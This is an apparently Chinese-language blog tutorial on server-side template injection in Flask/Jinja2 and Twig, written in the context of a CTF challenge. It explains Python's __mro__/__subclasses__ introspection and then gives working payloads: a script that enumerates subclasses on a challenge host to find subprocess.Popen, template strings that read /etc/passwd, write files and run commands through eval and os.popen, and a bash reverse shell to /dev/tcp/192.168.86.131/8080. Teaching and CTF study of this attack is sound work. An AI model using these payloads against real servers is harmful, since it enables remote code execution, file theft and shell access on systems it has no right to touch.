前置知识
在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。
https://www.freebuf.com/column/187845.html
ssti漏洞成因
ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。本文着重对flask模板注入进行浅析。
模板引擎
首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。
模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。
后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。
前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。
让我们用例子来简析模板渲染。
<html> <div>{$what}</div> </html>
我们想要呈现在每个用户面前自己的名字。但是{$what}我们不知道用户名字是什么,用一些url或者cookie包含的信息,渲染到what变量里,呈现给用户的为
<html> <div>张三</div> </html>
当然这只是最简单的示例,一般来说,至少会提供分支,迭代。还有一些内置函数。
注入原理
<?php require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php'; Twig_Autoloader::register(true); $twig = new Twig_Environment(new Twig_Loader_String()); $output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值 echo $output; ?>
使用 Twig 模版引擎渲染页面,其中模版含有 {{name}} 变量,其模版变量值来自于 GET 请求参数 $_GET["name"]。
显然这段代码并没有什么问题,即使你想通过 name 参数传递一段 JavaScript 代码给服务端进行渲染,也许你会认为这里可以进行 XSS,
但是由于模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击:
但是,如果渲染的模版内容受到用户的控制,情况就不一样了。修改代码为:
<?php require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php'; Twig_Autoloader::register(true); $twig = new Twig_Environment(new Twig_Loader_String()); $output = $twig->render("Hello {$_GET['name']}"); // 将用户输入作为模版内容的一部分 echo $output; ?>
他将我们的代码进行了执行。服务器将我们的数据经过引擎解析的时候,进行了执行,模板注入与sql注入成因有点相似,都是信任了用户的输入,将不可靠的用户输入不经过滤直接进行了执行,用户插入了恶意代码同样也会执行。
进一步分析
我们在pycharm中运行代码
print("".__class__)
返回了<class 'str'>,对于一个空字符串他已经打印了str类型,在python中,每个类都有一个bases属性,列出其基类。现在我们写代码。
print("".__class__.__bases__)
打印返回(<class 'object'>,),我们已经找到了他的基类object,而我们想要寻找object类的不仅仅只有bases,同样可以使用mro,mro给出了method resolution order,即解析方法调用的顺序。我们实例打印一下mro。
print("".__class__.__mro__)
返回了(<class 'str'>, <class 'object'>),同样可以找到object类,正是由于这些但不仅限于这些方法,我们才有了各种沙箱逃逸的姿势。正如上面的解释,mro返回了解析方法调用的顺序,将会打印两个。在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法。我们这里只举例最简单的。接下来我们增加代码。接下来我们使用subclasses,subclasses() 这个方法,这个方法返回的是这个类的子类的集合,也就是object类的子类的集合。
print("".__class__.__bases__[1].__subclasses__())
返回:
接下来就是我们需要找到合适的类,然后接下来就是需要从合适的类中寻找我们需要的方法。
脚本:
import requests import re import html import time index = 0 for i in range(0, 1000): try: url = "http://5a8d97da-4cb0-43f8-9810-e9c352e034ad.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}" r = requests.get(url) res = re.findall("<h2>You searched for:</h2>W+<h3>(.*)</h3>", r.text) #正则匹配 time.sleep(0.1) # print(res) # print(r.text) res = html.unescape(res[0]) print(str(i) + " | " + res) if "subprocess.Popen" in res: index = i break except: continue print("indexo of subprocess.Popen:" + str(index))
文件操作
object.__subclasses__()[40]
为file类,所以可以对文件进行操作
读文件
object.__subclasses__()[40]('/etc/passwd').read()
写文件
object.__subclasses__()[40]('/tmp').write('test')
命令执行
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__ 下有eval,__import__等的全局函数,可以利用此来执行命令: #eval ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()") #__import__ ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read() ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
反弹shell
直接执行系统命令
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('bash -i >& /dev/tcp/192.168.86.131/8080 0>&1').read()") ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('bash -i >& /dev/tcp/192.168.86.131/8080 0>&1').read()